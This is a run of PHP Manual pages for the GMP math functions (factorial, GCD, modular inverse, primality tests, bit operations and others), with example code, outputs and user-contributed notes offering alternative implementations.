$div1 = gmp_divexact("10", "2");
echo gmp_strval($div1) . "\n";

$div2 = gmp_divexact("10", "3"); // bogus result
echo gmp_strval($div2) . "\n";
?>

The above example will output:

5
2863311534

User Contributed Notes

There are no user contributed notes for this page.
gmp_div
gmp_fact
GMP Functions


Factorial

gmp_divexact
gmp_gcd
GMP Functions
PHP Manual

gmp_fact

(PHP 4 >= 4.0.4, PHP 5)

gmp_fact — Factorial

Description

resource gmp_fact ( mixed $a )

Calculates factorial (a!) of a.

Parameters

a

The factorial number.

It can be either a GMP number resource, or a numeric string given that it is possible to convert the latter to a number.

Return Values

A GMP number resource.

Examples

Example #1 gmp_fact() example

<?php
$fact1 = gmp_fact(5); // 5 * 4 * 3 * 2 * 1
echo gmp_strval($fact1) . "\n";

$fact2 = gmp_fact(50); // 50 * 49 * 48, ... etc
echo gmp_strval($fact2) . "\n";
?>

The above example will output:

120
30414093201713378043612608166064768844377641568960512000000000000

User Contributed Notes

ghsot at ghost-tech dot com dot au 11-Sep-2010 10:13
Alternative method of calculating factorials.

<?php
function fact($n){
if($n > 170){return 0;} //This function can only calculate the factorial of numbers below 171

$i = $a = 1;
while ($i<=$n){
$a = $a * $i;
$i++;
}
$a = sprintf('%f', $a); //Convert from Scientific notation
return substr($a, 0, -7); //Remove the trailing decimal places
}

echo fact(171); //Returns 0
echo "<br />";
echo fact(12); //Returns 479001600
?>
gmp_divexact
gmp_gcd
GMP Functions


Calculate GCD

gmp_fact
gmp_gcdext
GMP Functions
PHP Manual

gmp_gcd

(PHP 4 >= 4.0.4, PHP 5)

gmp_gcd — Calculate GCD

Description

resource gmp_gcd ( resource $a , resource $b )

Calculate greatest common divisor of a and b. The result is always positive even if either of, or both, input operands are negative.

Parameters

a

It can be either a GMP number resource, or a numeric string given that it is possible to convert the latter to a number.

b

It can be either a GMP number resource, or a numeric string given that it is possible to convert the latter to a number.

Return Values

A positive GMP number that divides into both a and b.

Examples

Example #1 gmp_gcd() example

<?php
$gcd = gmp_gcd("12", "21");
echo gmp_strval($gcd) . "\n";
?>

The above example will output:

3

User Contributed Notes

sean__remove__ at eternalrise_r_emove__ dot com 10-Nov-2008 07:50
Here's my solution for getting the GCD of several numbers.

<?php

/*
 * function gcd()
 *
 * returns greatest common divisor
 * between two numbers
 * tested against gmp_gcd()
 */
function gcd($a, $b)
{
    if ($a == 0 || $b == 0)
        return abs( max(abs($a), abs($b)) );

    $r = $a % $b;
    return ($r != 0) ?
        gcd($b, $r) :
        abs($b);
}

/*
 * function gcd_array()
 *
 * gets greatest common divisor among
 * an array of numbers
 */
function gcd_array($array, $a = 0)
{
    $b = array_pop($array);
    return ($b === null) ?
        (int)$a :
        gcd_array($array, gcd($a, $b));
}

?>
jim dot mayes at gmail dot com 03-Apr-2008 01:53
Try...

function gcd($a, $b){
    $b = ( $a == 0 )? 0 : $b;
    return ( $a % $b )? gcd($b, abs($a - $b)) : $b;
}

always returns positive number even if one or both numbers are negative (as per the gmp_gcd function)

order agnostic, larger number can be $b or $a doesn't matter

also, other examples here were failing when one of the numbers was 0
limas at kultur-online dot at 01-Dec-2007 10:44
The previous function returns just 1 under php 5.2.4  but the following seems to work (m>0,n>0):

function gcd($m,$n)
{
    $_m=$m;$r=1;
    if($m<$n){$t=$m;$m=$n;$n=$t;}
    while($r)
    {
        $r=(floor($m/$n)*$n)-$m;
        $_n=$n;$n=$r;$m=$_m;
    }
    return abs($_n);
}
bigkm1 at gmail dot com 25-Aug-2006 09:33
here is an elegant recursive solution
<?php

function gcd($a,$b) {
    return ($a % $b) ? gcd($b,$a % $b) : $b;
}

?>
scr02001 at student dot mdh dot se 16-Aug-2003 06:58
If you do not consier a or b as possible negative numbers, a GCD funktion may return a negative GCD, wich is NOT a greatest common divisor, therefore a funktion like this may be better. This considers the simplyfying of (-3)-(-6) where gcd on -3 and -6 would result in 3, not -3 as with the other function. (-3)-(-6) is (-1)-(-2) NOT (1)-(2)

function eGCD($a,$b){
  if($a < 0)         $a=0-$a;
  if($b < 0 )        $b=0-$b;
  if($a == 0 || $b == 0)    return 1;
  if($a == $b)              return a;

do{
  $rest=(int) $a % $b;  $a=$b; $b=$rest;
  }while($rest >0);
return $a;
}
Ludwig Heymbeeck 12-Jan-2003 10:33
The following function is more accurate:

function GCD($num1, $num2) {
/* finds the greatest common factor between two numbers */
   while ($num2 != 0){
     $t = $num1 % $num2;
     $num1 = $num2;
     $num2 = $t;
   }
   return $num1;
}
x-empt-php dot net at ispep dot cx 06-Jul-2002 11:16
No need to compile gmp functions in just for the GCD function...  use this one instead:

function GCD($num1, $num2) {
 /* finds the greatest common factor between two numbers */
    if ($num1 < $num2) {
        $t = $num1;
        $num1 = $num2;
        $num2 = $t;
    }
    while ($t = ($num1 % $num2) != 0) {
        $num1 = $num2;
        $num2 = $t;
    }
    return $num2;
}
gmp_fact
gmp_gcdext
GMP Functions


Calculate GCD and multipliers

gmp_gcd
gmp_hamdist
GMP Functions
PHP Manual

gmp_gcdext

(PHP 4 >= 4.0.4, PHP 5)

gmp_gcdext — Calculate GCD and multipliers

Description

array gmp_gcdext ( resource $a , resource $b )

Calculates g, s, and t, such that a*s + b*t = g = gcd(a,b), where gcd is the greatest common divisor. Returns an array with respective elements g, s and t.

This function can be used to solve linear Diophantine equations in two variables. These are equations that allow only integer solutions and have the form: a*x + b*y = c. For more information, go to the » "Diophantine Equation" page at MathWorld

Parameters

a

It can be either a GMP number resource, or a numeric string given that it is possible to convert the latter to a number.

b

It can be either a GMP number resource, or a numeric string given that it is possible to convert the latter to a number.

Return Values

An array of GMP numbers.

Examples

Example #1 Solving a linear Diophantine equation

<?php
// Solve the equation a*s + b*t = g
// where a = 12, b = 21, g = gcd(12, 21) = 3
$a = gmp_init(12);
$b = gmp_init(21);
$g = gmp_gcd($a, $b);
$r = gmp_gcdext($a, $b);

$check_gcd = (gmp_strval($g) == gmp_strval($r['g']));
$eq_res = gmp_add(gmp_mul($a, $r['s']), gmp_mul($b, $r['t']));
$check_res = (gmp_strval($g) == gmp_strval($eq_res));

if ($check_gcd && $check_res) {
    $fmt = "Solution: %d*%d + %d*%d = %d\n";
    printf($fmt, gmp_strval($a), gmp_strval($r['s']), gmp_strval($b),
    gmp_strval($r['t']), gmp_strval($r['g']));
} else {
    echo "Error while solving the equation\n";
}

// output: Solution: 12*2 + 21*-1 = 3
?>

User Contributed Notes

FatPhil 15-Jun-2003 06:47
The extended GCD can be used to calculate mutual modular inverses of two
coprime numbers. Internally gmp_invert uses this extended GCD routine,
but effectively throws away one of the inverses.

If gcd(a,b)=1, then r.a+s.b=1
Therefore  r.a == 1 (mod s) and s.b == 1 (mod r)
Note that one of r and s will be negative, and so you'll want to
canonicalise it.
gmp_gcd
gmp_hamdist
GMP Functions


Hamming distance

gmp_gcdext
gmp_init
GMP Functions
PHP Manual

gmp_hamdist

(PHP 4 >= 4.0.4, PHP 5)

gmp_hamdist — Hamming distance

Description

int gmp_hamdist ( resource $a , resource $b )

Returns the hamming distance between a and b. Both operands should be non-negative.

Parameters

a

It can be either a GMP number resource, or a numeric string given that it is possible to convert the latter to a number.

It should be positive.

b

It can be either a GMP number resource, or a numeric string given that it is possible to convert the latter to a number.

It should be positive.

Return Values

A GMP number resource.

Examples

Example #1 gmp_hamdist() example

<?php
$ham1 = gmp_init("1001010011", 2);
$ham2 = gmp_init("1011111100", 2);
echo gmp_hamdist($ham1, $ham2) . "\n";

/* hamdist is equivilent to: */
echo gmp_popcount(gmp_xor($ham1, $ham2)) . "\n";
?>

The above example will output:

6
6

See Also

  • gmp_popcount() - Population count
  • gmp_xor() - Bitwise XOR

User Contributed Notes

There are no user contributed notes for this page.
gmp_gcdext
gmp_init
GMP Functions


Create GMP number

gmp_hamdist
gmp_intval
GMP Functions
PHP Manual

gmp_init

(PHP 4 >= 4.0.4, PHP 5)

gmp_init — Create GMP number

Description

resource gmp_init ( mixed $number [, int $base = 0 ] )

Creates a GMP number from an integer or string.

Parameters

number

An integer or a string. The string representation can be decimal, hexadecimal or octal.

base

The base.

The base may vary from 2 to 36. If base is 0 (default value), the actual base is determined from the leading characters: if the first two characters are 0x or 0X, hexadecimal is assumed, otherwise if the first character is "0", octal is assumed, otherwise decimal is assumed.

Return Values

A GMP number resource.

Changelog

Version | Description
5.3.2 | The base was extended from 2 to 36, to 2 to 62 and -2 to -36.
4.1.0 | The optional base parameter was added.

Notes

Note:

To use the extended base introduced in PHP 5.3.2, then PHP must be compiled against GMP 4.2.0 or greater.

Examples

Example #1 Creating GMP number

<?php
$a = gmp_init(123456);
$b = gmp_init("0xFFFFDEBACDFEDF7200");
?>

Notes

Note:

It is not necessary to call this function if you want to use integer or string in place of GMP number in GMP functions, like gmp_add(). Function arguments are automatically converted to GMP numbers, if such conversion is possible and needed, using the same rules as gmp_init().

User Contributed Notes

marcus at synchromedia dot co dot uk 11-Aug-2011 04:41
I discovered that the gmp functions use [0-9a-f] up to base 16, but [0-9A-Za-z] (i.e. upper case first) from bases 17 to 62. This differs from most of the base-62 implementations I've found that tend to use lower case first.
karl dot debisschop at pearson dot com 29-Mar-2011 12:15
Unless the base is 16, gpm_init will fail if the string begins with "0b".

> php -r '$v = gmp_init("b83", 17); print("$v\n");'

Resource id #4

> php -r '$v = gmp_init("0b83", 17); print("$v\n");'

[nothing prints]

In may case, where I am explicitly specifying the base, the solution is to apply ltrim first:

> php -r '$v = gmp_init(ltrim("0b83", "0"), 17); print("$v\n");'

Resource id #4
charlie at oblivion dot cz 18-Feb-2007 04:55
gmp_* functions don't accept strings with a leading '+':
<?php
echo gmp_strval(gmp_init('+42'));      #0
echo gmp_strval(gmp_add('42', '+42')); #42
echo bcadd('+42', '+42');              #84
?>
php at richardneill dot org 20-Sep-2006 03:30
Here's a way to parse a decimal (eg 3.25) into an integer and exponent:

<?
if (preg_match("/^[0-9]+\.[0-9]+$/",$input)){
     //Input is a base-10 decimal. Multiply as necessary to remove the decimal
     //point. Convert that to a gmp_resource, then decrement the exponent
     //to compensate.

     $pieces=explode(".", $input);     //Split at the d.p.
     $input="$pieces[0]$pieces[1]";  //Remove the decimal point.

     $input=ltrim($input,'0');
     //Remove any leading zeros, or gmp_init will parse the number as octal.

     if ($input==''){    //Deal with "0.0" which would otherwise be ''.
          $input=0;
      }
      $integer=gmp_init($input);
      $ns_exponent=-strlen($pieces[1]);
     //exponent = (-)  the number of characters after the decimal point.
}
?>
php at richardneill dot org 20-Sep-2006 03:14
Note: Leading zeros will make gmp_init parse this as octal.
Thus gmp_init(010) becomes 8.

$a=010;              //8
$b="010" + 0;     //10
$c=gmp_strval(gmp_init(010));    //8
$d=gmp_strval(gmp_init("010")); //8

This behaviour is inconsistent: either $d should equal $b, or
$b should equal $a.
thomas dot hebinck at digionline dot de 18-Aug-2005 10:23
If you call a gmp_* function directly with an interger as parameter, this integer MUST NOT be 0:

for($i=-1;$i<=1;$i++) {  echo gmp_strval(gmp_add(2,gmp_mul(1,$i))) . ' ';  }

The result is 1 0 3 (wrong)

In this case you have to use gmp_init():

for($i=-1;$i<=1;$i++) {  echo gmp_strval(gmp_add(2,gmp_mul(1,gmp_init($i)))) . ' ';  }

The result is 1 2 3 (right)

Happy number crunching! :-)
gmp_hamdist
gmp_intval
GMP Functions


Convert GMP number to integer

gmp_init
gmp_invert
GMP Functions
PHP Manual

gmp_intval

(PHP 4 >= 4.0.4, PHP 5)

gmp_intval — Convert GMP number to integer

Description

int gmp_intval ( resource $gmpnumber )

This function allows to convert GMP number to integer.

Parameters

gmpnumber

A GMP number.

Return Values

An integer value of gmpnumber.

Examples

Example #1 gmp_intval() example

<?php
// displays correct result
echo gmp_intval("2147483647") . "\n";

// displays wrong result, above PHP integer limit
echo gmp_intval("2147483648") . "\n";

// displays correct result
echo gmp_strval("2147483648") . "\n";
?>

The above example will output:

2147483647
2147483647
2147483648

Notes

Warning

This function returns a useful result only if the number actually fits the PHP integer (i.e., signed long type). If you want just to print the GMP number, use gmp_strval().

User Contributed Notes

There are no user contributed notes for this page.
gmp_init
gmp_invert
GMP Functions


Inverse by modulo

gmp_intval
gmp_jacobi
GMP Functions
PHP Manual

gmp_invert

(PHP 4 >= 4.0.4, PHP 5)

gmp_invert — Inverse by modulo

Description

resource gmp_invert ( resource $a , resource $b )

Computes the inverse of a modulo b.

Parameters

a

It can be either a GMP number resource, or a numeric string given that it is possible to convert the latter to a number.

b

It can be either a GMP number resource, or a numeric string given that it is possible to convert the latter to a number.

Return Values

A GMP number on success or FALSE if an inverse does not exist.

Examples

Example #1 gmp_invert() example

<?php
echo gmp_invert("5", "10"); // no inverse, outputs nothing, result is FALSE
$invert = gmp_invert("5", "11");
echo gmp_strval($invert) . "\n";
?>

The above example will output:

9

User Contributed Notes

There are no user contributed notes for this page.
gmp_intval
gmp_jacobi
GMP Functions


Jacobi symbol

gmp_invert
gmp_legendre
GMP Functions
PHP Manual

gmp_jacobi

(PHP 4 >= 4.0.4, PHP 5)

gmp_jacobi — Jacobi symbol

Description

int gmp_jacobi ( resource $a , resource $p )

Computes » Jacobi symbol of a and p. p should be odd and must be positive.

Parameters

a

It can be either a GMP number resource, or a numeric string given that it is possible to convert the latter to a number.

p

It can be either a GMP number resource, or a numeric string given that it is possible to convert the latter to a number.

Should be odd and must be positive.

Return Values

A GMP number resource.

Examples

Example #1 gmp_jacobi() example

<?php
echo gmp_jacobi("1", "3") . "\n";
echo gmp_jacobi("2", "3") . "\n";
?>

The above example will output:

1
0

User Contributed Notes

There are no user contributed notes for this page.
gmp_invert
gmp_legendre
GMP Functions


Legendre symbol

gmp_jacobi
gmp_mod
GMP Functions
PHP Manual

gmp_legendre

(PHP 4 >= 4.0.4, PHP 5)

gmp_legendre — Legendre symbol

Description

int gmp_legendre ( resource $a , resource $p )

Compute the » Legendre symbol of a and p. p should be odd and must be positive.

Parameters

a

It can be either a GMP number resource, or a numeric string given that it is possible to convert the latter to a number.

p

It can be either a GMP number resource, or a numeric string given that it is possible to convert the latter to a number.

Should be odd and must be positive.

Return Values

A GMP number resource.

Examples

Example #1 gmp_legendre() example

<?php
echo gmp_legendre("1", "3") . "\n";
echo gmp_legendre("2", "3") . "\n";
?>

The above example will output:

1
0

User Contributed Notes

There are no user contributed notes for this page.
gmp_jacobi
gmp_mod
GMP Functions


Modulo operation

gmp_legendre
gmp_mul
GMP Functions
PHP Manual

gmp_mod

(PHP 4 >= 4.0.4, PHP 5)

gmp_mod — Modulo operation

Description

resource gmp_mod ( resource $n , resource $d )

Calculates n modulo d. The result is always non-negative, the sign of d is ignored.

Parameters

n

It can be either a GMP number resource, or a numeric string given that it is possible to convert the latter to a number.

d

The modulo that is being evaluated.

It can be either a GMP number resource, or a numeric string given that it is possible to convert the latter to a number.

Return Values

A GMP number resource.

Examples

Example #1 gmp_mod() example

<?php
$mod = gmp_mod("8", "3");
echo gmp_strval($mod) . "\n";
?>

The above example will output:

2

User Contributed Notes

There are no user contributed notes for this page.
gmp_legendre
gmp_mul
GMP Functions


Multiply numbers

gmp_mod
gmp_neg
GMP Functions
PHP Manual

gmp_mul

(PHP 4 >= 4.0.4, PHP 5)

gmp_mul — Multiply numbers

Description

resource gmp_mul ( resource $a , resource $b )

Multiplies a by b and returns the result.

Parameters

a

A number that will be multiplied by b.

It can be either a GMP number resource, or a numeric string given that it is possible to convert the latter to a number.

b

A number that will be multiplied by a.

It can be either a GMP number resource, or a numeric string given that it is possible to convert the latter to a number.

Return Values

A GMP number resource.

Examples

Example #1 gmp_mul() example

<?php
$mul = gmp_mul("12345678", "2000");
echo gmp_strval($mul) . "\n";
?>

The above example will output:

24691356000

User Contributed Notes

06-Dec-2006 01:11
<?php
function fact($x)
{
   $factorial = 1;
   for ($i=2; $i < $x; $i++) {
       $factorial = gmp_mul($factorial, $i);
   }
   return $factorial;
}

echo gmp_strval(fact(1000)) . "\n";
?>
gmp_mod
gmp_neg
GMP Functions


Negate number

gmp_mul
gmp_nextprime
GMP Functions
PHP Manual

gmp_neg

(PHP 4 >= 4.0.4, PHP 5)

gmp_neg — Negate number

Description

resource gmp_neg ( resource $a )

Returns the negative value of a number.

Parameters

a

It can be either a GMP number resource, or a numeric string given that it is possible to convert the latter to a number.

Return Values

Returns -a, as a GMP number.

Examples

Example #1 gmp_neg() example

<?php
$neg1 = gmp_neg("1");
echo gmp_strval($neg1) . "\n";
$neg2 = gmp_neg("-1");
echo gmp_strval($neg2) . "\n";
?>

The above example will output:

-1
1

User Contributed Notes

There are no user contributed notes for this page.
gmp_mul
gmp_nextprime
GMP Functions


Find next prime number

gmp_neg
gmp_or
GMP Functions
PHP Manual

gmp_nextprime

(PHP 5 >= 5.2.0)

gmp_nextprime — Find next prime number

Description

resource gmp_nextprime ( int $a )

Find next prime number

Parameters

a

It can be either a GMP number resource, or a numeric string given that it is possible to convert the latter to a number.

Return Values

Return the next prime number greater than a, as a GMP number.

Examples

Example #1 gmp_nextprime() example

<?php
$prime1 = gmp_nextprime(10); // next prime number greater than 10
$prime2 = gmp_nextprime(-1000); // next prime number greater than -1000

echo gmp_strval($prime1) . "\n";
echo gmp_strval($prime2) . "\n";
?>

The above example will output:

11
-997

Notes

Note:

This function uses a probabilistic algorithm to identify primes and chances to get a composite number are extremely small.

User Contributed Notes

There are no user contributed notes for this page.
gmp_neg
gmp_or
GMP Functions


Bitwise OR

gmp_nextprime
gmp_perfect_square
GMP Functions
PHP Manual

gmp_or

(PHP 4 >= 4.0.4, PHP 5)

gmp_or — Bitwise OR

Description

resource gmp_or ( resource $a , resource $b )

Calculates bitwise inclusive OR of two GMP numbers.

Parameters

a

It can be either a GMP number resource, or a numeric string given that it is possible to convert the latter to a number.

b

It can be either a GMP number resource, or a numeric string given that it is possible to convert the latter to a number.

Return Values

A GMP number resource.

Examples

Example #1 gmp_or() example

<?php
$or1 = gmp_or("0xfffffff2", "4");
echo gmp_strval($or1, 16) . "\n";
$or2 = gmp_or("0xfffffff2", "2");
echo gmp_strval($or2, 16) . "\n";
?>

The above example will output:

fffffff6
fffffff2

User Contributed Notes

There are no user contributed notes for this page.
gmp_nextprime
gmp_perfect_square
GMP Functions


Perfect square check

gmp_or
gmp_popcount
GMP Functions
PHP Manual

gmp_perfect_square

(PHP 4 >= 4.0.4, PHP 5)

gmp_perfect_square — Perfect square check

Description

bool gmp_perfect_square ( resource $a )

Check if a number is a perfect square.

Parameters

a

The number being checked as a perfect square.

It can be either a GMP number resource, or a numeric string given that it is possible to convert the latter to a number.

Return Values

Returns TRUE if a is a perfect square, FALSE otherwise.

Examples

Example #1 gmp_perfect_square() example

<?php
// 3 * 3, perfect square
var_dump(gmp_perfect_square("9"));

// not a perfect square
var_dump(gmp_perfect_square("7"));

// 1234567890 * 1234567890, perfect square
var_dump(gmp_perfect_square("1524157875019052100"));
?>

The above example will output:

bool(true)
bool(false)
bool(true)

See Also

  • gmp_sqrt() - Calculate square root
  • gmp_sqrtrem() - Square root with remainder

User Contributed Notes

There are no user contributed notes for this page.
gmp_or
gmp_popcount
GMP Functions


Population count

gmp_perfect_square
gmp_pow
GMP Functions
PHP Manual

gmp_popcount

(PHP 4 >= 4.0.4, PHP 5)

gmp_popcount — Population count

Description

int gmp_popcount ( resource $a )

Get the population count.

Parameters

a

It can be either a GMP number resource, or a numeric string given that it is possible to convert the latter to a number.

Return Values

The population count of a, as an integer.

Examples

Example #1 gmp_popcount() example

<?php
$pop1 = gmp_init("10000101", 2); // 3 1's
echo gmp_popcount($pop1) . "\n";
$pop2 = gmp_init("11111110", 2); // 7 1's
echo gmp_popcount($pop2) . "\n";
?>

The above example will output:

3
7

User Contributed Notes

There are no user contributed notes for this page.
gmp_perfect_square
gmp_pow
GMP Functions


Raise number into power

gmp_popcount
gmp_powm
GMP Functions
PHP Manual

gmp_pow

(PHP 4 >= 4.0.4, PHP 5)

gmp_pow — Raise number into power

Description

resource gmp_pow ( resource $base , int $exp )

Raise base into power exp.

Parameters

base

The base number.

It can be either a GMP number resource, or a numeric string given that it is possible to convert the latter to a number.

exp

The positive power to raise the base.

Return Values

The new (raised) number, as a GMP number. The case of 0^0 yields 1.

Examples

Example #1 gmp_pow() example

<?php
$pow1 = gmp_pow("2", 31);
echo gmp_strval($pow1) . "\n";
$pow2 = gmp_pow("0", 0);
echo gmp_strval($pow2) . "\n";
$pow3 = gmp_pow("2", -1); // Negative exp, generates warning
echo gmp_strval($pow3) . "\n";
?>

The above example will output:

2147483648
1

User Contributed Notes

rahulkadukar at yahoo dot com 16-May-2011 06:11
A Sample code can be shown as

<?php
echo gmp_strval(gmp_pow(4,4)); //This would give the answer as 256
?>
gmp_popcount
gmp_powm
GMP Functions


Raise number into power with modulo

gmp_pow
gmp_prob_prime
GMP Functions
PHP Manual

gmp_powm

(PHP 4 >= 4.0.4, PHP 5)

gmp_powm — Raise number into power with modulo

Description

resource gmp_powm ( resource $base , resource $exp , resource $mod )

Calculate (base raised into power exp) modulo mod. If exp is negative, result is undefined.

Parameters

base

The base number.

It can be either a GMP number resource, or a numeric string given that it is possible to convert the latter to a number.

exp

The positive power to raise the base.

It can be either a GMP number resource, or a numeric string given that it is possible to convert the latter to a number.

mod

The modulo.

It can be either a GMP number resource, or a numeric string given that it is possible to convert the latter to a number.

Return Values

The new (raised) number, as a GMP number.

Examples

Example #1 gmp_powm() example

<?php
$pow1 = gmp_powm("2", "31", "2147483649");
echo gmp_strval($pow1) . "\n";
?>

The above example will output:

2147483648

User Contributed Notes

There are no user contributed notes for this page.
gmp_pow
gmp_prob_prime
GMP Functions


Check if number is "probably prime"

gmp_powm
gmp_random
GMP Functions
PHP Manual

gmp_prob_prime

(PHP 4 >= 4.0.4, PHP 5)

gmp_prob_prime — Check if number is "probably prime"

Description

int gmp_prob_prime ( resource $a [, int $reps = 10 ] )

The function uses Miller-Rabin's probabilistic test to check if a number is a prime.

Parameters

a

The number being checked as a prime.

It can be either a GMP number resource, or a numeric string given that it is possible to convert the latter to a number.

reps

Reasonable values of reps vary from 5 to 10 (default being 10); a higher value lowers the probability for a non-prime to pass as a "probable" prime.

It can be either a GMP number resource, or a numeric string given that it is possible to convert the latter to a number.

Return Values

If this function returns 0, a is definitely not prime. If it returns 1, then a is "probably" prime. If it returns 2, then a is surely prime.

Examples

Example #1 gmp_prob_prime() example

<?php
// definitely not a prime
echo gmp_prob_prime("6") . "\n";

// probably a prime
echo gmp_prob_prime("1111111111111111111") . "\n";

// definitely a prime
echo gmp_prob_prime("11") . "\n";
?>

The above example will output:

0
1
2

User Contributed Notes

roland at mxchange dot org 02-May-2011 07:19
Here is a simple demonstration code to fine prime possibilities. On my 64 bit Linux box I can only go until 61, larger numbers causes warnings due to the EXP number:
<?php
for ($idx = 0; $idx <= 61; $idx++) {
    $pow =  (gmp_strval(gmp_pow('2', $idx)) - 1);
    $prop = gmp_prob_prime($pow);
    if ($prop > 0) {
        echo 'idx=' . $idx . "\n--------\n";
        echo 'pow=' . $pow . "\n";
        echo 'prop=' . $prop . "\n------\n";
    }
}
?>
By 'pow' is the possible prime number.
gmp_powm
gmp_random
GMP Functions


Random number

gmp_prob_prime
gmp_scan0
GMP Functions
PHP Manual

gmp_random

(PHP 4 >= 4.0.4, PHP 5)

gmp_random — Random number

Description

resource gmp_random ([ int $limiter = 20 ] )

Generate a random number. The number will be between zero and the number of bits per limb multiplied by limiter. If limiter is negative, negative numbers are generated.

A limb is an internal GMP mechanism. The number of bits in a limb is not static, and can vary from system to system. Generally, the number of bits in a limb is either 16 or 32, but this is not guaranteed.

Parameters

limiter

The limiter.

It can be either a GMP number resource, or a numeric string given that it is possible to convert the latter to a number.

Return Values

A random GMP number.

Examples

Example #1 gmp_random() example

<?php
$rand1 = gmp_random(1); // random number from 0 to 1 * bits per limb
$rand2 = gmp_random(2); // random number from 0 to 2 * bits per limb

echo gmp_strval($rand1) . "\n";
echo gmp_strval($rand2) . "\n";
?>

The above example will output:

1915834968
8642564075890328087

User Contributed Notes

There are no user contributed notes for this page.
gmp_prob_prime
gmp_scan0
GMP Functions


Scan for 0

gmp_random
gmp_scan1
GMP Functions
PHP Manual

gmp_scan0

(PHP 4 >= 4.0.4, PHP 5)

gmp_scan0 — Scan for 0

Description

int gmp_scan0 ( resource $a , int $start )

Scans a, starting with bit start, towards more significant bits, until the first clear bit is found.

Parameters

a

The number to scan.

It can be either a GMP number resource, or a numeric string given that it is possible to convert the latter to a number.

start

The starting bit.

Return Values

Returns the index of the found bit, as an integer. The index starts from 0.

Examples

Example #1 gmp_scan0() example

<?php
// "0" bit is found at position 3. index starts at 0
$s1 = gmp_init("10111", 2);
echo gmp_scan0($s1, 0) . "\n";

// "0" bit is found at position 7. index starts at 5
$s2 = gmp_init("101110000", 2);
echo gmp_scan0($s2, 5) . "\n";
?>

The above example will output:

3
7

User Contributed Notes

There are no user contributed notes for this page.
gmp_random
gmp_scan1
GMP Functions


Scan for 1

gmp_scan0
gmp_setbit
GMP Functions
PHP Manual

gmp_scan1

(PHP 4 >= 4.0.4, PHP 5)

gmp_scan1 — Scan for 1

Description

int gmp_scan1 ( resource $a , int $start )

Scans a, starting with bit start, towards more significant bits, until the first set bit is found.

Parameters

a

The number to scan.

It can be either a GMP number resource, or a numeric string given that it is possible to convert the latter to a number.

start

The starting bit.

Return Values

Returns the index of the found bit, as an integer. If no set bit is found, -1 is returned.

Examples

Example #1 gmp_scan1() example

<?php
// "1" bit is found at position 3. index starts at 0
$s1 = gmp_init("01000", 2);
echo gmp_scan1($s1, 0) . "\n";

// "1" bit is found at position 9. index starts at 5
$s2 = gmp_init("01000001111", 2);
echo gmp_scan1($s2, 5) . "\n";
?>

The above example will output:

3
9

User Contributed Notes

There are no user contributed notes for this page.
gmp_scan0
gmp_setbit
GMP Functions


Set bit

gmp_scan1
gmp_sign
GMP Functions
PHP Manual

gmp_setbit

(PHP 4 >= 4.0.4, PHP 5)

gmp_setbit — Set bit

Description

void gmp_setbit ( resource $a , int $index [, bool $set_clear = true ] )

Sets bit index in a.

Parameters

a

The number being set to.

It can be either a GMP number resource, or a numeric string given that it is possible to convert the latter to a number.

index

The set bit.

set_clear

Defines if the bit is set to 0 or 1. By default the bit is set to 1. Index starts at 0.

Return Values

A GMP number resource.

Examples

Example #1 gmp_setbit() example

<?php
$a = gmp_init("0xfd");
gmp_setbit($a, 1); // index starts at 0
echo gmp_strval($a) . "\n";
?>

The above example will output:

255

Notes

Note:

Unlike most of the other GMP functions, gmp_setbit() must be called with a GMP resource that already exists (using gmp_init() for example). One will not be automatically created.

See Also

  • gmp_clrbit() - Clear bit
  • gmp_testbit() - Tests if a bit is set

User Contributed Notes

bluej100@gmail 27-Jul-2007 09:07
The third parameter is somewhat confusingly named; it would probably be better described as "$set_state". If true, it sets the bit to 1. If false, it sets the bit to 0. Default is true.

<?php
$num = gmp_init(1);
gmp_setbit($num, 1);
echo 'gmp_setbit(1, 1): '.gmp_strval($num, 2)."\n"; // 11

$num = gmp_init(1);
gmp_setbit($num, 1, true);
echo 'gmp_setbit(1, 1, true): '.gmp_strval($num, 2)."\n"; // 11

$num = gmp_init(1);
gmp_setbit($num, 0, false);
echo 'gmp_setbit(1, 0, false): '.gmp_strval($num, 2)."\n"; // 0
?>
gmp_scan1
gmp_sign
GMP Functions


Sign of number

gmp_setbit
gmp_sqrt
GMP Functions
PHP Manual

gmp_sign

(PHP 4 >= 4.0.4, PHP 5)

gmp_sign — Sign of number

Description

int gmp_sign ( resource $a )

Checks the sign of a number.

Parameters

a

It can be either a GMP number resource, or a numeric string given that it is possible to convert the latter to a number.

Return Values

Returns 1 if a is positive, -1 if a is negative, and 0 if a is zero.

Examples

Example #1 gmp_sign() example

<?php
// positive
echo gmp_sign("500") . "\n";

// negative
echo gmp_sign("-500") . "\n";

// zero
echo gmp_sign("0") . "\n";
?>

The above example will output:

1
-1
0

See Also

  • gmp_abs() - Absolute value
  • abs() - Absolute value

User Contributed Notes

thomas at zilliox dot me 21-Oct-2011 03:11
Hi !

If you don't have the GMP extension, the sign function is really simple to code.
Here an example of implementation :

<?php
function sign( $number ) {
    return ( $number > 0 ) ? 1 : ( ( $number < 0 ) ? -1 : 0 );
}

echo sign( 500 ); // Return 1
echo sign( -500 ); // Return -1
echo sign( 0 ); // Return 0
?>

Thomas.
gmp_setbit
gmp_sqrt
GMP Functions


Calculate square root

gmp_sign
gmp_sqrtrem
GMP Functions
PHP Manual

gmp_sqrt

(PHP 4 >= 4.0.4, PHP 5)

gmp_sqrt — Calculate square root

Description

resource gmp_sqrt ( resource $a )

Calculates square root of a.

Parameters

a

It can be either a GMP number resource, or a numeric string given that it is possible to convert the latter to a number.

Return Values

The integer portion of the square root, as a GMP number.

Examples

Example #1 gmp_sqrt() example

<?php
$sqrt1 = gmp_sqrt("9");
$sqrt2 = gmp_sqrt("7");
$sqrt3 = gmp_sqrt("1524157875019052100");

echo gmp_strval($sqrt1) . "\n";
echo gmp_strval($sqrt2) . "\n";
echo gmp_strval($sqrt3) . "\n";
?>

The above example will output:

3
2
1234567890

User Contributed Notes

There are no user contributed notes for this page.
gmp_sign
gmp_sqrtrem
GMP Functions


Square root with remainder

gmp_sqrt
gmp_strval
GMP Functions
PHP Manual

gmp_sqrtrem

(PHP 4 >= 4.0.4, PHP 5)

gmp_sqrtrem — Square root with remainder

Description

array gmp_sqrtrem ( resource $a )

Calculate the square root of a number, with remainder.

Parameters

a

The number being square rooted.

It can be either a GMP number resource, or a numeric string given that it is possible to convert the latter to a number.

Return Values

Returns array where first element is the integer square root of a and the second is the remainder (i.e., the difference between a and the first element squared).

Examples

Example #1 gmp_sqrtrem() example

<?php
list($sqrt1, $sqrt1rem) = gmp_sqrtrem("9");
list($sqrt2, $sqrt2rem) = gmp_sqrtrem("7");
